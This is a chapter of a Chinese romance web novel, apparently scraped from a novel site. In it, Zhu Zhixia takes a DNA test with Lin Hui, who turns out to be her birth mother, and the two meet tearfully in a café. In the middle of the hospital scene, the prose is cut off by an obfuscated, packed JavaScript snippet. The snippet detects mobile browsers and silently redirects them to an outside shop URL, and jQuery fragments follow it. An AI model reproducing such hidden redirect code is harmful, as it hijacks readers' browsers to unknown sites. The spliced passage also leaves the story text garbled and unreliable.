39. 第 39 章

作品:《竹马别再酸了

    林慧站起来,眼里的泪花不断泛起波澜,她抑制不住自己的感情,多年未见的女儿,如今出落的亭亭玉立。


    她只觉得一阵心酸,听见小女儿说要在做一遍亲子鉴定,林慧心里别提多不是滋味了。


    “孩子……”林慧往前走了一步,手抬起来,想碰碰她,又缩回去,“不用再做,真的不用,我们说的都是真的……”


    “妈。”贺星玥轻轻拉住她,声音放得很柔,“让她做吧,这样她安心。”


    林慧的眼泪又掉下来,祝织夏简直跟贺星玥太像了,简直是一个模子里刻出来的,怎么会不是她的孩子?


    但林慧还是点点头:“好好,做,你想怎么做都行。”


    多年找孩子心切,已经让林慧对真相急不可耐,二十多年的寻找,说实话,孩子已经成为她心里的一块石头,永远悬在心里。


    祝织夏看着林慧那个样子,心里某个地方像是被什么东西轻轻戳了一下,这个女人太脆弱了,脆弱得像一片随时会碎掉的玻璃。


    和她养母苏婉不一样。


    苏婉是那种温柔但有韧劲的人,天塌下来也能稳稳地撑着一角,能够跟她爸爸祝明远在商界平起平坐。


    而眼前这个女人,二十多年了,大概没能从当年的伤口里走出来,憔悴的不像是一个富家太太。


    “那明天去鉴定,定好时间联系我就行。”祝织夏垂下眼睛,“我先走了。”她不准备多留,不管是为了逃避还是为了什么,她一刻也不想在这里多呆。


    她转身往门口走,步子迈得很快。


    “等等!”林慧的声音从身后追上来,带着哭腔,“你……你能不能告诉我,你叫什么名字?”


    祝织夏停在门口,心中疑惑,贺星玥难道没有告诉她自己的名字?


    但头也不回,不想让人看见她脸上的不安与疲惫。


    “祝织夏,庆祝的祝,织女的织,夏天的夏。”


    “织夏……”林慧把这个名字在嘴里念了一遍,眼泪流得更凶了,“好名字,真好听……”


    祝织夏拉开门,没有理会后面的一片狼藉,只是闷着头走了出去。


    走廊里很安静,她快步走向电梯,按了下行键。


    电梯门打开,她进去,靠在电梯壁上,闭上眼睛。


    她听到自己心跳的声音,砰砰砰的,很快。


    那个女人念她名字时的表情,像得到了什么珍贵的礼物。


    电梯到了一楼,门打开,她走出去,穿过大堂,推开玻璃门。


    外面是江城的秋夜,风有点凉,她深深吸了一口气。


    手机响了,沈熠舟的消息。


    沈熠舟:还好吗?需要我过来吗?


    她盯着那行字看了几秒,心里翻了又翻,最后还是回了两个字:没事。


    祝织夏拦了辆出租车,还是先回家一趟吧,她想跟父母商量一下,她一起生活了二十多年的父母。


    车子驶过江城的夜景,祝织夏靠着车窗,脑子里乱成一团,从知道是领养的开始,每一步路都踩在了祝织夏意想不到的地方。


    不论是贺星辞的纠缠,贺星玥的突然出现,都切切实实的打破了祝织夏的心里防线,还有那个林慧,也许是她的生母。


    那个女人哭的样子,急功尽弃想要跟祝织夏说话的样子,贺星玥说的那些话,每一句话都让祝织夏头疼。


    车子开进别墅区,停在家门口。祝织夏付了钱下车,站在门口又站了一会儿,才推门进去。


    客厅里灯亮着,苏婉和祝明远都在。


    “回来了?”苏婉迎上来,仔细看了看她的脸色,“饿不饿?妈给你热饭。”


    “妈,我不饿。”祝织夏换了鞋,走到沙发边坐下,所有心情都挂在脸上。


    祝明远把电视关了,和苏婉一起看着她。


    “你们……聊的怎么样?”苏婉假装不在意的聊着。


    “我要再做一遍亲子鉴定,我不相信脱离我视线之内的检查。”祝织夏语气跟平淡,似乎这件事跟她没关系。


    苏婉和祝明远对视了一眼。


    “妈,”她抬起头,“我明天去一趟医院。”


    苏婉愣了一下,然后点点头:“好,妈陪你去。”


    “不用,我自己去就行,说到底还是我自己事情。”祝织夏低下头,看着地板上不起眼的灰点。


    苏婉看着她的眼睛,沉默了一会儿,说:“小满,不论做什么决定,我们都会尊重你的选择,但有事情别一个人扛着,有什么事跟我们说,好不好?”


    祝织夏看着苏婉温柔的眼神,忽然鼻子一酸。


    她点点头:“好。”


    那天晚上,祝织夏很晚才睡着。


    第二天一早,她出门去了医院,林慧跟贺星玥在医院门口等她,


    祝织夏深吸一口气,走了过去。


    医院门口,林慧和贺星玥已经等在那里。


    林慧今天穿了一件深灰色的风衣,头发仔细地盘起来,看得出是想让自己看起来体面一些。


    但她的眼睛还是红肿的,眼下一片青黑,显然昨晚又是一夜没睡。


    看见祝织夏走过来,林慧下意识地往前迎了一步,又生生刹住,站在原地看着她,眼神里有期待,有忐忑,还有一点小心翼翼的讨好。


    “来了?”贺星玥打了个招呼,语气尽量放得平常。


    祝织夏心里虽然有些别扭,但还是点了点头:“进去吧。”


    三个人走进医院,挂号,缴费,上楼。


    一路上谁都没说话,都没有习惯对方的存在,只有脚步声在走廊里回响。


    亲子鉴定的流程祝织夏提前查过,抽血就行,简单。


    但真走到采血室门口,她忽然觉得脚步有点沉。


    林慧在旁边看着她,想说什么又不敢说,只是紧紧攥着手里的包,她对祝织夏实在是陌生,陌生到只知道祝织夏的名字。


    与其说是亲生女儿,不如说是突然出现了一个二十多岁的人,成为了自己最陌生的亲人,女儿真的出现在面前,林慧也有些不知所措。


    “祝织夏?”护士喊名字。


    祝织夏走进去,坐下,挽起袖子。冰凉的酒精棉擦在胳膊上,针尖刺入血管,暗红色的血液流进试管。


    整个过程不到一分钟。


    她出来的时候,林慧正站在走廊的窗边,望着窗外,贺星玥在旁边陪着她,看见祝织夏出来,轻轻碰了碰林慧的胳膊,“妈,去吧”。


    林慧转过身,目光落在祝织夏的胳膊上,那个刚抽过血的地方。


    “疼吗?”她问,声音很轻。


    祝织夏愣了一下,摇摇头:“不疼。”


    林慧点点头,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184003|194989||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    眼眶又红了,但她忍住了,没让眼泪掉下来。


    “下一个。”护士喊。


    贺星玥扶着林慧进去。


    祝织夏站在走廊里,心里乱的发昏,透过门上的玻璃看着里面的场景。


    林慧坐下,挽起袖子,眼睛却一直望着门口的方向,望着她。


    两个人的目光隔着玻璃撞上,林慧的眼泪终于掉了下来,但她还在笑,冲着祝织夏笑。


    祝织夏别开眼。


    三天后出结果,祝织夏一顿饭也没跟他们吃,怕自己吃多了胡思乱想,他们也不熟悉,已经是成年人了,祝织夏也不是个感情用事的人。


    等结果出来了再打算这些。


    这三天里,祝织夏照常吃饭,照常睡觉,照常出去跑了一圈。


    苏婉和祝明远什么都没问,只是每天变着法子做好吃的,排骨汤、红烧肉、清炒时蔬,都是她爱吃的。


    第三天早上,祝织夏自己去了医院。


    她没告诉任何人,也没让任何人陪,只告诉贺星玥她们,她自己去拿结果。


    拿到报告的那一刻,她站在医院走廊里,盯着那几行字看了很久。


    结果显示:根据DNA遗传标记分型结果,支持林慧为祝织夏的生物学母亲。


    支持……生物学母亲。


    祝织夏把报告折好,放进口袋里,走出医院,表情有些复杂,这个结果始终不在她的预期内。


    外面阳光很好,医院的门口人来人往。有抱着婴儿的年轻父亲,有扶着孕妇的丈夫,有推着轮椅的护工。


    每个人都行色匆匆,每个人都有自己的故事。


    她找了个路边的长椅坐下,把报告又拿出来看了一遍。


    那几个字没变,白纸黑字,清清楚楚地写在上面。


    她盯着“林慧”那两个字,想起那个女人红肿的眼睛,想起她小心翼翼往前迎又生生刹住的脚步,想起她问“疼吗”时那种让人心酸的语气。


    二十一年吗?祝织夏丢了快二十多年,她找了自己二十多年吗?


    祝织夏的脑子很乱,她从来没有预想过这个结果,心里即便是再心疼林慧,可她也是受害者,说不上谁对谁错。


    只是她心里没办法割舍养父母,从情感角度出发,祝织夏选择养父母,她也成年了,也不存在选谁不选谁。


    认……认就认吧。


    祝织夏把报告收起来,拿出手机,给贺星玥发了一条消息:“结果出来了,我定了一个咖啡馆。”


    祝织夏发了个定位,想找个安静的地方好好商量一下这些事情。


    咖啡馆靠窗的位置,祝织夏偏着头看着玻璃外的马路发呆。


    林慧和贺星玥到的时候,祝织夏已经在了。


    林慧坐在位置上,手指绞在一起,看见她进来,整个人绷紧了。


    祝织夏把那份报告推到林慧面前。


    林慧看着那个牛皮纸袋,手抖得厉害,几次都没能打开。


    贺星玥在旁边帮她,抽出里面的报告,展开,放在她面前。


    林慧低头看着,一行一行,一个字一个字。


    看到最后那行字的时候,她的眼泪哗地涌出来,整个人趴在桌上,哭得浑身发抖。


    不是那种隐忍的哭,是二十一年积压的情绪终于决堤的哭,是撕心裂肺的、毫无保留的哭。